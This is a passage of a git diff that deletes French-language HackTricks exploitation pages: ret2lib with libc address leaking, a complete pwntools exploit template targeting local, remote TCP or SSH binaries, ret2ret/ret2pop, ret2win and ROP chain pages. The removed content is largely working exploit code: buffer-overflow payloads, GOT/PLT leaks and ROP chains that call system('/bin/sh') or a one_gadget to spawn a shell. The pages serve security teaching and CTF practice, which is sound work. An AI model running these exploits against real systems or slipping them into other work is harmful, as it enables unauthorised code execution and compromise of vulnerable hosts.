memmory to obtains libc base -if libc == "": -print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") -p.interactive() -``` -Pour ce faire, la ligne la plus importante du code exécuté est : -```python -rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) -``` -Cela enverra quelques octets jusqu'à ce que **l'écrasement** du **RIP** soit possible : `OFFSET`.\ -Ensuite, il définira l'**adresse** du gadget `POP_RDI` afin que la prochaine adresse (`FUNC_GOT`) soit enregistrée dans le registre **RDI**. Cela est dû au fait que nous voulons **appeler puts** en **passant** l'**adresse** de `PUTS_GOT` car l'adresse en mémoire de la fonction puts est enregistrée à l'adresse pointée par `PUTS_GOT`.\ -Après cela, `PUTS_PLT` sera appelé (avec `PUTS_GOT` à l'intérieur du **RDI**) afin que puts **lise le contenu** à l'intérieur de `PUTS_GOT` (**l'adresse de la fonction puts en mémoire**) et **l'imprime**.\ -Enfin, **la fonction main est appelée à nouveau** afin que nous puissions exploiter à nouveau le débordement. - -De cette manière, nous avons **trompé la fonction puts** pour **imprimer** l'**adresse** en **mémoire** de la fonction **puts** (qui se trouve dans la bibliothèque **libc**). Maintenant que nous avons cette adresse, nous pouvons **chercher quelle version de libc est utilisée**. - -![](<../../../../../images/image (141).png>) - -Comme nous **exploitons** un binaire **local**, il n'est **pas nécessaire** de déterminer quelle version de **libc** est utilisée (il suffit de trouver la bibliothèque dans `/lib/x86_64-linux-gnu/libc.so.6`).\ -Mais, dans le cas d'une exploitation à distance, je vais expliquer ici comment vous pouvez le trouver : - -### 3.1- Recherche de la version de libc (1) - -Vous pouvez rechercher quelle bibliothèque est utilisée sur la page web : [https://libc.blukat.me/](https://libc.blukat.me)\ -Cela vous permettra également de télécharger la version découverte de **libc** - -![](<../../../../../images/image (142).png>) - -### 3.2- Recherche de la version de libc (2) - -Vous pouvez également faire : - -- `$ git clone https://github.com/niklasb/libc-database.git` -- `$ cd libc-database` -- `$ ./get` - -Cela prendra un certain temps, soyez patient.\ -Pour que cela fonctionne, nous avons besoin de : - -- Nom du symbole libc : `puts` -- Adresse libc divulguée : `0x7ff629878690` - -Nous pouvons déterminer quelle **libc** est très probablement utilisée. -```bash -./find puts 0x7ff629878690 -ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) -archive-glibc (id libc6_2.23-0ubuntu11_amd64) -``` -Nous obtenons 2 correspondances (vous devriez essayer la deuxième si la première ne fonctionne pas). Téléchargez la première : -```bash -./download libc6_2.23-0ubuntu10_amd64 -Getting libc6_2.23-0ubuntu10_amd64 --> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb --> Downloading package --> Extracting package --> Package saved to libs/libc6_2.23-0ubuntu10_amd64 -``` -Copiez la libc depuis `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` vers notre répertoire de travail. - -### 3.3- Autres fonctions à leak -```python -puts -printf -__libc_start_main -read -gets -``` -## 4- Trouver l'adresse libc basée et exploiter - -À ce stade, nous devrions connaître la bibliothèque libc utilisée. Comme nous exploitons un binaire local, j'utiliserai simplement : `/lib/x86_64-linux-gnu/libc.so.6` - -Donc, au début de `template.py`, changez la variable **libc** en : `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Définir le chemin de la bibliothèque quand on le sait` - -En donnant le **chemin** à la **bibliothèque libc**, le reste de l'**exploit va être automatiquement calculé**. - -À l'intérieur de la fonction `get_addr`, l'**adresse de base de libc** va être calculée : -```python -if libc != "": -libc.address = leak - libc.symbols[func_name] #Save libc base -log.info("libc base @ %s" % hex(libc.address)) -``` -> [!NOTE] -> Notez que **l'adresse de base finale de libc doit se terminer par 00**. Si ce n'est pas votre cas, vous pourriez avoir divulgué une bibliothèque incorrecte. - -Ensuite, l'adresse de la fonction `system` et l'**adresse** de la chaîne _"/bin/sh"_ vont être **calculées** à partir de l'**adresse de base** de **libc** et données la **bibliothèque libc.** -```python -BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh -SYSTEM = libc.sym["system"] -EXIT = libc.sym["exit"] - -log.info("bin/sh %s " % hex(BINSH)) -log.info("system %s " % hex(SYSTEM)) -``` -Enfin, l'exploit d'exécution /bin/sh va être préparé et envoyé : -```python -rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) - -p.clean() -p.sendline(rop2) - -#### Interact with the shell ##### -p.interactive() #Interact with the conenction -``` -Expliquons ce dernier ROP.\ -Le dernier ROP (`rop1`) a de nouveau appelé la fonction main, puis nous pouvons **exploiter à nouveau** le **débordement** (c'est pourquoi l'`OFFSET` est ici encore une fois). Ensuite, nous voulons appeler `POP_RDI` pointant vers l'**adresse** de _"/bin/sh"_ (`BINSH`) et appeler la fonction **system** (`SYSTEM`) car l'adresse de _"/bin/sh"_ sera passée en paramètre.\ -Enfin, l'**adresse de la fonction exit** est **appelée** afin que le processus **se termine proprement** et qu'aucune alerte ne soit générée. - -**De cette manière, l'exploit exécutera un _/bin/sh**_ shell.** - -![](<../../../../../images/image (143).png>) - -## 4(2)- Utilisation de ONE_GADGET - -Vous pouvez également utiliser [**ONE_GADGET** ](https://github.com/david942j/one_gadget) pour obtenir un shell au lieu d'utiliser **system** et **"/bin/sh". ONE_GADGET** trouvera à l'intérieur de la bibliothèque libc un moyen d'obtenir un shell en utilisant juste une **adresse ROP**.\ -Cependant, normalement, il y a certaines contraintes, les plus courantes et faciles à éviter sont comme `[rsp+0x30] == NULL`. Comme vous contrôlez les valeurs à l'intérieur de **RSP**, vous devez juste envoyer quelques valeurs NULL supplémentaires pour éviter la contrainte. - -![](<../../../../../images/image (615).png>) -```python -ONE_GADGET = libc.address + 0x4526a -rop2 = base + p64(ONE_GADGET) + "\x00"*100 -``` -## FICHIER D'EXPLOITATION - -Vous pouvez trouver un modèle pour exploiter cette vulnérabilité ici : - -{{#ref}} -rop-leaking-libc-template.md -{{#endref}} - -## Problèmes courants - -### MAIN_PLT = elf.symbols\['main'] introuvable - -Si le symbole "main" n'existe pas. Alors vous pouvez trouver où se trouve le code principal : -```python -objdump -d vuln_binary | grep "\.text" -Disassembly of section .text: -0000000000401080 <.text>: -``` -et définissez l'adresse manuellement : -```python -MAIN_PLT = 0x401080 -``` -### Puts non trouvé - -Si le binaire n'utilise pas Puts, vous devriez vérifier s'il utilise - -### `sh: 1: %s%s%s%s%s%s%s%s: non trouvé` - -Si vous trouvez cette **erreur** après avoir créé **tous** les exploits : `sh: 1: %s%s%s%s%s%s%s%s: non trouvé` - -Essayez de **soustraire 64 octets à l'adresse de "/bin/sh"** : -```python -BINSH = next(libc.search("/bin/sh")) - 64 -``` -{{#include ../../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md deleted file mode 100644 index 9025ced18..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md +++ /dev/null @@ -1,211 +0,0 @@ -{{#include ../../../../../banners/hacktricks-training.md}} -```python:template.py -from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools - - -################### -### CONNECTION #### -################### -LOCAL = False -REMOTETTCP = True -REMOTESSH = False -GDB = False -USE_ONE_GADGET = False - -LOCAL_BIN = "./vuln" -REMOTE_BIN = "~/vuln" #For ssh -LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it -ENV = {"LD_PRELOAD": LIBC} if LIBC else {} - -if LOCAL: -P = process(LOCAL_BIN, env=ENV) # start the vuln binary -ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary -ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - -elif REMOTETTCP: -P = remote('10.10.10.10',1339) # start the vuln binary -ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary -ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - -elif REMOTESSH: -ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) -p = ssh_shell.process(REMOTE_BIN) # start the vuln binary -elf = ELF(LOCAL_BIN)# Extract data from binary -rop = ROP(elf)# Find ROP gadgets - -if GDB and not REMOTETTCP and not REMOTESSH: -# attach gdb and continue -# You can set breakpoints, for example "break *main" -gdb.attach(P.pid, "b *main") - - - -######################### -#### OFFSET FINDER ###### -######################### - -OFFSET = b"" #b"A"*264 -if OFFSET == b"": -gdb.attach(P.pid, "c") #Attach and continue -payload = cyclic(264) -payload += b"AAAAAAAA" -print(P.clean()) -P.sendline(payload) -#x/wx $rsp -- Search for bytes that crashed the application -#print(cyclic_find(0x63616171)) # Find the offset of those bytes -P.interactive() -exit() - - - -#################### -### Find Gadgets ### -#################### -try: -libc_func = "puts" -PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts -except: -libc_func = "printf" -PUTS_PLT = ELF_LOADED.plt['printf'] - -MAIN_PLT = ELF_LOADED.symbols['main'] -POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi" -RET = (ROP_LOADED.find_gadget(['ret']))[0] - -log.info("Main start: " + hex(MAIN_PLT)) -log.info("Puts plt: " + hex(PUTS_PLT)) -log.info("pop rdi; ret gadget: " + hex(POP_RDI)) -log.info("ret gadget: " + hex(RET)) - - -######################## -### Find LIBC offset ### -######################## - -def generate_payload_aligned(rop): -payload1 = OFFSET + rop -if (len(payload1) % 16) == 0: -return payload1 - -else: -payload2 = OFFSET + p64(RET) + rop -if (len(payload2) % 16) == 0: -log.info("Payload aligned successfully") -return payload2 -else: -log.warning(f"I couldn't align the payload! Len: {len(payload1)}") -return payload1 - - -def get_addr(libc_func): -FUNC_GOT = ELF_LOADED.got[libc_func] -log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) -# Create rop chain -rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) -rop1 = generate_payload_aligned(rop1) - -# Send our rop-chain payload -#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received -print(P.clean()) # clean socket buffer (read all and print) -P.sendline(rop1) - -# If binary is echoing back the payload, remove that message -recieved = P.recvline().strip() -if OFFSET[:30] in recieved: -recieved = P.recvline().strip() - -# Parse leaked address -log.info(f"Len rop1: {len(rop1)}") -leak = u64(recieved.ljust(8, b"\x00")) -log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") - -# Set lib base address -if LIBC: -LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base -print("If LIBC base doesn't end end 00, you might be using an icorrect libc library") -log.info("LIBC base @ %s" % hex(LIBC.address)) - -# If not LIBC yet, stop here -else: -print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)") -P.interactive() - -return hex(leak) - -get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base - - - -############################# -#### FINAL EXPLOITATION ##### -############################# - -## Via One_gadget (https://github.com/david942j/one_gadget) -# gem install one_gadget -def get_one_gadgets(libc): -import string, subprocess -args = ["one_gadget", "-r"] -if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()): -args += ["-b", libc.hex()] -else: -args += [libc] -try: -one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] -except: -print("One_gadget isn't installed") -one_gadgets = [] -return - -rop2 = b"" -if USE_ONE_GADGET: -one_gadgets = get_one_gadgets(LIBC) -if one_gadgets: -rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains - -## Normal/Long exploitation -if not rop2: -BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh -SYSTEM = LIBC.sym["system"] -EXIT = LIBC.sym["exit"] - -log.info("POP_RDI %s " % hex(POP_RDI)) -log.info("bin/sh %s " % hex(BINSH)) -log.info("system %s " % hex(SYSTEM)) -log.info("exit %s " % hex(EXIT)) - -rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT) -rop2 = generate_payload_aligned(rop2) - - -print(P.clean()) -P.sendline(rop2) - -P.interactive() #Interact with your shell :) -``` -# Problèmes courants - -## MAIN_PLT = elf.symbols\['main'] non trouvé - -Si le symbole "main" n'existe pas (probablement parce que c'est un binaire obfusqué). Alors vous pouvez simplement où se trouve le code principal : -```python -objdump -d vuln_binary | grep "\.text" -Disassembly of section .text: -0000000000401080 <.text>: -``` -et définissez l'adresse manuellement : -```python -MAIN_PLT = 0x401080 -``` -## Puts non trouvé - -Si le binaire n'utilise pas Puts, vous devriez vérifier s'il utilise - -## `sh: 1: %s%s%s%s%s%s%s%s: non trouvé` - -Si vous trouvez cette **erreur** après avoir créé **tous** les exploits : `sh: 1: %s%s%s%s%s%s%s%s: non trouvé` - -Essayez de **soustraire 64 octets à l'adresse de "/bin/sh"** : -```python -BINSH = next(libc.search("/bin/sh")) - 64 -``` -{{#include ../../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md deleted file mode 100644 index ce745e52a..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md +++ /dev/null @@ -1,33 +0,0 @@ -# Ret2ret & Reo2pop - -{{#include ../../../banners/hacktricks-training.md}} - -## Ret2ret - -L'objectif principal de cette technique est d'essayer de **contourner l'ASLR en abusant d'un pointeur existant dans la pile**. - -Fondamentalement, les débordements de pile sont généralement causés par des chaînes, et **les chaînes se terminent par un octet nul à la fin** en mémoire. Cela permet d'essayer de réduire l'emplacement pointé par un pointeur existant déjà dans la pile. Donc, si la pile contenait `0xbfffffdd`, ce débordement pourrait le transformer en `0xbfffff00` (notez le dernier octet mis à zéro). - -Si cette adresse pointe vers notre shellcode dans la pile, il est possible de faire en sorte que le flux atteigne cette adresse en **ajoutant des adresses à l'instruction `ret`** jusqu'à ce que celle-ci soit atteinte. - -Par conséquent, l'attaque serait comme suit : - -- NOP sled -- Shellcode -- Écraser la pile depuis l'EIP avec **des adresses vers `ret`** (RET sled) -- 0x00 ajouté par la chaîne modifiant une adresse de la pile pour la faire pointer vers le NOP sled - -En suivant [**ce lien**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c), vous pouvez voir un exemple d'un binaire vulnérable et [**dans celui-ci**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) l'exploit. - -## Ret2pop - -Dans le cas où vous pouvez trouver un **pointeur parfait dans la pile que vous ne voulez pas modifier** (dans `ret2ret`, nous changeons le dernier octet le plus bas en `0x00`), vous pouvez effectuer la même attaque `ret2ret`, mais la **longueur du RET sled doit être réduite de 1** (de sorte que le dernier `0x00` écrase les données juste avant le pointeur parfait), et la **dernière** adresse du RET sled doit pointer vers **`pop ; ret`**.\ -De cette façon, les **données avant le pointeur parfait seront supprimées** de la pile (ce sont les données affectées par le `0x00`) et le **dernier `ret` pointera vers l'adresse parfaite** dans la pile sans aucun changement. - -En suivant [**ce lien**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c), vous pouvez voir un exemple d'un binaire vulnérable et [**dans celui-ci**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) l'exploit. - -## Références - -- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md deleted file mode 100644 index 3671bffbf..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md +++ /dev/null @@ -1,91 +0,0 @@ -# Ret2win - -{{#include ../../../banners/hacktricks-training.md}} - -## Informations de base - -Les défis **Ret2win** sont une catégorie populaire dans les compétitions **Capture The Flag (CTF)**, en particulier dans les tâches impliquant **l'exploitation binaire**. L'objectif est d'exploiter une vulnérabilité dans un binaire donné pour exécuter une fonction spécifique, non invoquée, au sein du binaire, souvent nommée quelque chose comme `win`, `flag`, etc. Cette fonction, lorsqu'elle est exécutée, imprime généralement un drapeau ou un message de succès. Le défi implique généralement de remplacer l'**adresse de retour** sur la pile pour détourner le flux d'exécution vers la fonction souhaitée. Voici une explication plus détaillée avec des exemples : - -### Exemple en C - -Considérons un programme C simple avec une vulnérabilité et une fonction `win` que nous avons l'intention d'appeler : -```c -#include -#include - -void win() { -printf("Congratulations! You've called the win function.\n"); -} - -void vulnerable_function() { -char buf[64]; -gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. -} - -int main() { -vulnerable_function(); -return 0; -} -``` -Pour compiler ce programme sans protections de pile et avec **ASLR** désactivé, vous pouvez utiliser la commande suivante : -```sh -gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c -``` -- `-m32`: Compiler le programme en tant que binaire 32 bits (c'est optionnel mais courant dans les défis CTF). -- `-fno-stack-protector`: Désactiver les protections contre les débordements de pile. -- `-z execstack`: Autoriser l'exécution de code sur la pile. -- `-no-pie`: Désactiver l'exécutable indépendant de la position pour s'assurer que l'adresse de la fonction `win` ne change pas. -- `-o vulnerable`: Nommer le fichier de sortie `vulnerable`. - -### Exploit Python utilisant Pwntools - -Pour l'exploit, nous utiliserons **pwntools**, un puissant framework CTF pour écrire des exploits. Le script d'exploit créera une charge utile pour déborder le tampon et écraser l'adresse de retour avec l'adresse de la fonction `win`. -```python -from pwn import * - -# Set up the process and context for the binary -binary_path = './vulnerable' -p = process(binary_path) -context.binary = binary_path - -# Find the address of the win function -win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary - -# Create the payload -# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address. -payload = b'A' * 68 + win_addr - -# Send the payload -p.sendline(payload) -p.interactive() -``` -Pour trouver l'adresse de la fonction `win`, vous pouvez utiliser **gdb**, **objdump** ou tout autre outil qui vous permet d'inspecter des fichiers binaires. Par exemple, avec `objdump`, vous pourriez utiliser : -```sh -objdump -d vulnerable | grep win -``` -Cette commande vous montrera l'assemblage de la fonction `win`, y compris son adresse de départ. - -Le script Python envoie un message soigneusement élaboré qui, lorsqu'il est traité par la `vulnerable_function`, déborde le tampon et écrase l'adresse de retour sur la pile avec l'adresse de `win`. Lorsque `vulnerable_function` retourne, au lieu de retourner à `main` ou de sortir, il saute à `win`, et le message est imprimé. - -## Protections - -- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **doit être désactivé** pour que l'adresse soit fiable à travers les exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour déterminer où la fonction win est chargée. Dans certains cas, lorsque la fonction qui cause le débordement est `read` ou similaire, vous pouvez faire un **Partial Overwrite** de 1 ou 2 octets pour changer l'adresse de retour afin qu'elle soit la fonction win. En raison de la façon dont fonctionne l'ASLR, les trois derniers nibbles hexadécimaux ne sont pas randomisés, donc il y a une **chance de 1/16** (1 nibble) d'obtenir la bonne adresse de retour. -- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) doivent également être désactivés ou l'adresse de retour EIP compromise ne sera jamais suivie. - -## Autres exemples & Références - -- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) -- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html) -- 32 bits, pas d'ASLR -- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html) -- 64 bits avec ASLR, avec une fuite de l'adresse binaire -- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html) -- 64 bits, pas d'ASLR -- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) -- 32 bits, pas d'ASLR, double petit débordement, premier à déborder la pile et agrandir la taille du second débordement -- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 bits, relro, pas de canary, nx, pas de pie, chaîne de format pour écraser l'adresse `fflush` avec la fonction win (ret2win) -- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) -- 64 bits, relro, pas de canary, nx, pie. Partial overwrite pour appeler la fonction win (ret2win) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md deleted file mode 100644 index 1f9ab041a..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md +++ /dev/null @@ -1,176 +0,0 @@ -# ROP - Programmation Orientée Retour - -{{#include ../../../banners/hacktricks-training.md}} - -## **Informations de Base** - -**Programmation Orientée Retour (ROP)** est une technique d'exploitation avancée utilisée pour contourner des mesures de sécurité telles que **No-Execute (NX)** ou **Data Execution Prevention (DEP)**. Au lieu d'injecter et d'exécuter du shellcode, un attaquant exploite des morceaux de code déjà présents dans le binaire ou dans les bibliothèques chargées, connus sous le nom de **"gadgets"**. Chaque gadget se termine généralement par une instruction `ret` et effectue une petite opération, comme déplacer des données entre des registres ou effectuer des opérations arithmétiques. En enchaînant ces gadgets, un attaquant peut construire un payload pour effectuer des opérations arbitraires, contournant ainsi efficacement les protections NX/DEP. - -### Comment fonctionne ROP - -1. **Détournement de Flux de Contrôle** : Tout d'abord, un attaquant doit détourner le flux de contrôle d'un programme, généralement en exploitant un débordement de tampon pour écraser une adresse de retour sauvegardée sur la pile. -2. **Enchaînement de Gadgets** : L'attaquant sélectionne ensuite soigneusement et enchaîne des gadgets pour effectuer les actions souhaitées. Cela peut impliquer la configuration des arguments pour un appel de fonction, l'appel de la fonction (par exemple, `system("/bin/sh")`), et la gestion de tout nettoyage ou opérations supplémentaires nécessaires. -3. **Exécution du Payload** : Lorsque la fonction vulnérable retourne, au lieu de retourner à un emplacement légitime, elle commence à exécuter la chaîne de gadgets. - -### Outils - -Typiquement, les gadgets peuvent être trouvés en utilisant **[ROPgadget](https://github.com/JonathanSalwan/ROPgadget)**, **[ropper](https://github.com/sashs/Ropper)** ou directement à partir de **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)). - -## Exemple de Chaîne ROP en x86 - -### **Conventions d'Appel x86 (32 bits)** - -- **cdecl** : L'appelant nettoie la pile. Les arguments de fonction sont poussés sur la pile dans l'ordre inverse (de droite à gauche). **Les arguments sont poussés sur la pile de droite à gauche.** -- **stdcall** : Semblable à cdecl, mais le callee est responsable du nettoyage de la pile. - -### **Recherche de Gadgets** - -Tout d'abord, supposons que nous avons identifié les gadgets nécessaires dans le binaire ou ses bibliothèques chargées. Les gadgets qui nous intéressent sont : - -- `pop eax; ret` : Ce gadget extrait la valeur du haut de la pile dans le registre `EAX` et retourne ensuite, nous permettant de contrôler `EAX`. -- `pop ebx; ret` : Semblable à ce qui précède, mais pour le registre `EBX`, permettant le contrôle de `EBX`. -- `mov [ebx], eax; ret` : Déplace la valeur dans `EAX` vers l'emplacement mémoire pointé par `EBX` et retourne ensuite. Cela est souvent appelé un **gadget write-what-where**. -- De plus, nous avons l'adresse de la fonction `system()` disponible. - -### **Chaîne ROP** - -En utilisant **pwntools**, nous préparons la pile pour l'exécution de la chaîne ROP comme suit, visant à exécuter `system('/bin/sh')`, notez comment la chaîne commence par : - -1. Une instruction `ret` pour des raisons d'alignement (optionnel) -2. Adresse de la fonction `system` (supposant ASLR désactivé et libc connue, plus d'infos dans [**Ret2lib**](ret2lib/index.html)) -3. Espace réservé pour l'adresse de retour de `system()` -4. Adresse de la chaîne `"/bin/sh"` (paramètre pour la fonction system) -```python -from pwn import * - -# Assuming we have the binary's ELF and its process -binary = context.binary = ELF('your_binary_here') -p = process(binary.path) - -# Find the address of the string "/bin/sh" in the binary -bin_sh_addr = next(binary.search(b'/bin/sh\x00')) - -# Address of system() function (hypothetical value) -system_addr = 0xdeadc0de - -# A gadget to control the return address, typically found through analysis -ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address - -# Construct the ROP chain -rop_chain = [ -ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues -system_addr, # Address of system(). Execution will continue here after the ret gadget -0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place. -bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system() -] - -# Flatten the rop_chain for use -rop_chain = b''.join(p32(addr) for addr in rop_chain) - -# Send ROP chain -## offset is the number of bytes required to reach the return address on the stack -payload = fit({offset: rop_chain}) -p.sendline(payload) -p.interactive() -``` -## Chaîne ROP dans l'exemple x64 - -### **Conventions d'appel x64 (64 bits)** - -- Utilise la convention d'appel **System V AMD64 ABI** sur les systèmes de type Unix, où les **six premiers arguments entiers ou pointeurs sont passés dans les registres `RDI`, `RSI`, `RDX`, `RCX`, `R8` et `R9`**. Les arguments supplémentaires sont passés sur la pile. La valeur de retour est placée dans `RAX`. -- La convention d'appel **Windows x64** utilise `RCX`, `RDX`, `R8` et `R9` pour les quatre premiers arguments entiers ou pointeurs, avec des arguments supplémentaires passés sur la pile. La valeur de retour est placée dans `RAX`. -- **Registres** : Les registres 64 bits incluent `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, et `R8` à `R15`. - -#### **Trouver des gadgets** - -Pour notre objectif, concentrons-nous sur les gadgets qui nous permettront de définir le registre **RDI** (pour passer la chaîne **"/bin/sh"** comme argument à **system()**) et ensuite d'appeler la fonction **system()**. Nous supposerons que nous avons identifié les gadgets suivants : - -- **pop rdi; ret** : Déplace la valeur du haut de la pile dans **RDI** et retourne ensuite. Essentiel pour définir notre argument pour **system()**. -- **ret** : Un simple retour, utile pour l'alignement de la pile dans certains scénarios. - -Et nous connaissons l'adresse de la fonction **system()**. - -### **Chaîne ROP** - -Ci-dessous un exemple utilisant **pwntools** pour configurer et exécuter une chaîne ROP visant à exécuter **system('/bin/sh')** sur **x64** : -```python -from pwn import * - -# Assuming we have the binary's ELF and its process -binary = context.binary = ELF('your_binary_here') -p = process(binary.path) - -# Find the address of the string "/bin/sh" in the binary -bin_sh_addr = next(binary.search(b'/bin/sh\x00')) - -# Address of system() function (hypothetical value) -system_addr = 0xdeadbeefdeadbeef - -# Gadgets (hypothetical values) -pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret -ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary - -# Construct the ROP chain -rop_chain = [ -ret_gadget, # Alignment gadget, if needed -pop_rdi_gadget, # pop rdi; ret -bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system() -system_addr # Address of system(). Execution will continue here. -] - -# Flatten the rop_chain for use -rop_chain = b''.join(p64(addr) for addr in rop_chain) - -# Send ROP chain -## offset is the number of bytes required to reach the return address on the stack -payload = fit({offset: rop_chain}) -p.sendline(payload) -p.interactive() -``` -Dans cet exemple : - -- Nous utilisons le gadget **`pop rdi; ret`** pour définir **`RDI`** à l'adresse de **`"/bin/sh"`**. -- Nous sautons directement à **`system()`** après avoir défini **`RDI`**, avec l'adresse de **system()** dans la chaîne. -- **`ret_gadget`** est utilisé pour l'alignement si l'environnement cible l'exige, ce qui est plus courant en **x64** pour garantir un alignement correct de la pile avant d'appeler des fonctions. - -### Alignement de la pile - -**L'ABI x86-64** garantit que la **pile est alignée sur 16 octets** lorsqu'une **instruction call** est exécutée. **LIBC**, pour optimiser les performances, **utilise des instructions SSE** (comme **movaps**) qui nécessitent cet alignement. Si la pile n'est pas correctement alignée (c'est-à-dire que **RSP** n'est pas un multiple de 16), les appels à des fonctions comme **system** échoueront dans une **chaîne ROP**. Pour corriger cela, il suffit d'ajouter un **gadget ret** avant d'appeler **system** dans votre chaîne ROP. - -## Différence principale entre x86 et x64 - -> [!TIP] -> Étant donné que x64 utilise des registres pour les premiers arguments, il nécessite souvent moins de gadgets que x86 pour des appels de fonction simples, mais trouver et enchaîner les bons gadgets peut être plus complexe en raison du nombre accru de registres et de l'espace d'adressage plus grand. Le nombre accru de registres et l'espace d'adressage plus grand dans l'architecture **x64** offrent à la fois des opportunités et des défis pour le développement d'exploits, en particulier dans le contexte de la Programmation Orientée Retour (ROP). - -## Protections - -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) -- 